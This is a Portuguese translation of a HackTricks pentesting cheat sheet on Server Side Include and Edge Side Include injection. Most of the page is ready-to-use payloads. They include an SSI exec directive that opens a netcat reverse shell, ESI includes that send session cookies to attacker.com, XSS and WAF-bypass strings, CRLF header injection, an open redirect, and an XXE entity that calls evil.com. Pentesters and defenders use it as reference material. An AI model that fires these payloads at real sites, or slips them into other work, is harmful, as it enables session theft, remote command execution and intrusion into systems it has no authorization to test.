12 KiB
Injeção de Inclusão do Lado do Servidor/Inclusão do Lado do Edge
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas sobre Inclusão do Lado do Servidor
(Introdução retirada da documentação do Apache)
SSI (Server Side Includes) são diretivas que são colocadas em páginas HTML e avaliadas no servidor enquanto as páginas estão sendo servidas. Elas permitem que você adicione conteúdo gerado dinamicamente a uma página HTML existente, sem precisar servir a página inteira por meio de um programa CGI ou outra tecnologia dinâmica.
Por exemplo, você pode colocar uma diretiva em uma página HTML existente, como:
<!--#echo var="DATE_LOCAL" -->
E, quando a página é servida, este fragmento será avaliado e substituído por seu valor:
Terça-feira, 15-Jan-2013 19:28:54 EST
A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa geralmente é uma questão de quanta parte da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como o horário atual - mostrado acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar por outra solução.
Você pode inferir a presença de SSI se a aplicação web usar arquivos com as extensões ** .shtml
, .shtm
ou .stm
**, mas não é o único caso.
Uma expressão SSI típica tem o seguinte formato:
<!--#directive param="value" -->
Verificação
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Inclusão Lateral
Existe um problema em armazenar em cache informações ou aplicativos dinâmicos, pois parte do conteúdo pode ter variações para a próxima vez que o conteúdo for recuperado. É para isso que o ESI é usado, para indicar usando tags ESI o conteúdo dinâmico que precisa ser gerado antes de enviar a versão em cache. Se um atacante for capaz de injetar uma tag ESI dentro do conteúdo em cache, então ele poderá injetar conteúdo arbitrário no documento antes que seja enviado aos usuários.
Detecção de ESI
O seguinte cabeçalho em uma resposta do servidor significa que o servidor está usando ESI:
Surrogate-Control: content="ESI/1.0"
Se não conseguir encontrar este cabeçalho, o servidor pode estar a usar ESI de qualquer forma.
Uma abordagem de exploração cega também pode ser usada pois um pedido deve chegar ao servidor do atacante:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
Exploração de ESI
GoSecure criou uma tabela para entender possíveis ataques que podemos tentar contra diferentes softwares capazes de ESI, dependendo da funcionalidade suportada:
- Includes: Suporta a diretiva
<esi:includes>
- Vars: Suporta a diretiva
<esi:vars>
. Útil para contornar Filtros XSS - Cookie: Os cookies do documento são acessíveis ao mecanismo ESI
- Upstream Headers Required: As aplicações substitutas não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
- Host Allowlist: Neste caso, as inclusões ESI são possíveis apenas a partir de hosts de servidor permitidos, tornando SSRF, por exemplo, apenas possível contra esses hosts
Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | Sim | Sim | Sim | Sim | Não |
Varnish Cache | Sim | Não | Não | Sim | Sim |
Fastly | Sim | Não | Não | Não | Sim |
Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
NodeJS esi | Sim | Sim | Sim | Não | Não |
NodeJS nodesi | Sim | Não | Não | Não | Opcional |
XSS
A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do servidor
<esi:include src=http://attacker.com/xss.html>
Bypass proteção XSS do cliente
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
Roubo de Cookie
- Roubo remoto de cookie
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- Roubar cookie HTTP_ONLY com XSS refletindo-o na resposta:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
Arquivo Local Privado
Não confunda isso com uma "Inclusão de Arquivo Local":
<esi:include src="secret.txt">
CRLF
CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in text files. In web security, CRLF injection involves inserting these special characters into input fields to manipulate the application's behavior. This can lead to various attacks such as HTTP response splitting and server-side request forgery.
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Redirecionamento Aberto
O seguinte irá adicionar um cabeçalho Location
à resposta
<!--esi $add_header('Location','http://attacker.com') -->
Adicionar Cabeçalho
- Adicionar cabeçalho na solicitação forçada
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- Adicionar cabeçalho na resposta (útil para contornar "Content-Type: text/json" em uma resposta com XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
CRLF em Adicionar cabeçalho (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Akamai debug
Isso enviará informações de depuração incluídas na resposta:
<esi:debug/>
ESI + XSLT = XXE
Ao especificar o valor xslt
para o parâmetro dca, é viável incluir ESI baseado em eXtensible Stylesheet Language Transformations (XSLT)
. A inclusão faz com que o servidor HTTP recupere os arquivos XML e XSLT, sendo que este último filtra o primeiro. Tais arquivos XML são exploráveis para ataques de XML External Entity (XXE), permitindo que invasores executem ataques SSRF. No entanto, a utilidade desse método é limitada, uma vez que as inclusões ESI já servem como um vetor SSRF. Devido à ausência de suporte na biblioteca Xalan subjacente, DTDs externos não são processados, impedindo a extração de arquivos locais.
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
Ficheiro XSLT:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
Verifique a página XSLT:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
Referências
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://academy.hackthebox.com/module/145/section/1304
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
Lista de Detecção de Força Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o oficial PEASS & HackTricks swag
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.